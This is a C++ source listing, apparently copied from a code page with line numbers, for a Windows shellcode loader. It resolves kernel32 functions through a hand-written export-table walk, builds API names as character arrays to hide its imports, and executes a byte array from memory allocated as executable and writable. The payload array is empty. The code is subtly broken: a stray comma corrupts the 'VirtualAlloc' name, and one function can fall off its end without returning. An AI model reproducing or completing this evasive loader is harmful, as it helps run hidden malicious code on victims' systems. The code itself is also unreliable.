1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| #include <iostream> #include <windows.h> using namespace std;
extern "C" SIZE_T GetKernel32();
int my_strcmp(const char* str1, const char* str2) { while (*str1 != '\0' || *str2 != '\0') { if (*str1 != *str2) { return *str1 - *str2; } str1++; str2++; } return 0; }
SIZE_T MyGetProcAddress( HMODULE hModule, LPCSTR lpProcName ) {
int i = 0; PIMAGE_DOS_HEADER pImageDosHeader = NULL; PIMAGE_NT_HEADERS pImageNtHeader = NULL; PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
pImageDosHeader = (PIMAGE_DOS_HEADER)hModule; pImageNtHeader = (PIMAGE_NT_HEADERS)((SIZE_T)hModule + pImageDosHeader->e_lfanew); pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)hModule + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pAddressOfFunction = (DWORD*)(pImageExportDirectory->AddressOfFunctions + (SIZE_T)hModule); DWORD* pAddressOfNames = (DWORD*)(pImageExportDirectory->AddressOfNames + (SIZE_T)hModule); DWORD dwNumberOfNames = (DWORD)(pImageExportDirectory->NumberOfNames); DWORD dwBase = (DWORD)(pImageExportDirectory->Base);
WORD* pAddressOfNameOrdinals = (WORD*)(pImageExportDirectory->AddressOfNameOrdinals + (SIZE_T)hModule);
DWORD dwName = (SIZE_T)lpProcName; for (i = 0; i < (int)dwNumberOfNames; i++) { char* strFunction = (char*)(pAddressOfNames[i] + (SIZE_T)hModule); if (my_strcmp(lpProcName, strFunction) == 0) { return (pAddressOfFunction[pAddressOfNameOrdinals[i]] + (SIZE_T)hModule); } }
}
typedef BOOL(WINAPI* CreateProcessA_t)( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName);
typedef LPVOID(WINAPI* p_VirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
int main() { unsigned char hexData[894] = { };
HMODULE Kernel32_Base = (HMODULE)GetKernel32(); char VirtualAlloc_name[0x20] = { 'V','i','r','t','u','a,','l','A','l','l','o','c','\0'}; char GetProcAddress_name[0x20] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' }; char User32[0x20] = { 'u','s','e','r','3','2','.','d','l','l','\0' };
char CreateProcess_name[0x20] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A','\0' }; SIZE_T GetProcAddress_Func = MyGetProcAddress((HMODULE)Kernel32_Base, GetProcAddress_name); p_VirtualAlloc VirtualAlloc_Func = (p_VirtualAlloc)MyGetProcAddress((HMODULE)Kernel32_Base, VirtualAlloc_name);
void* exec = VirtualAlloc_Func(0, sizeof(hexData), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, hexData, sizeof(hexData)); ((void(*)())exec)(); return 0; }
|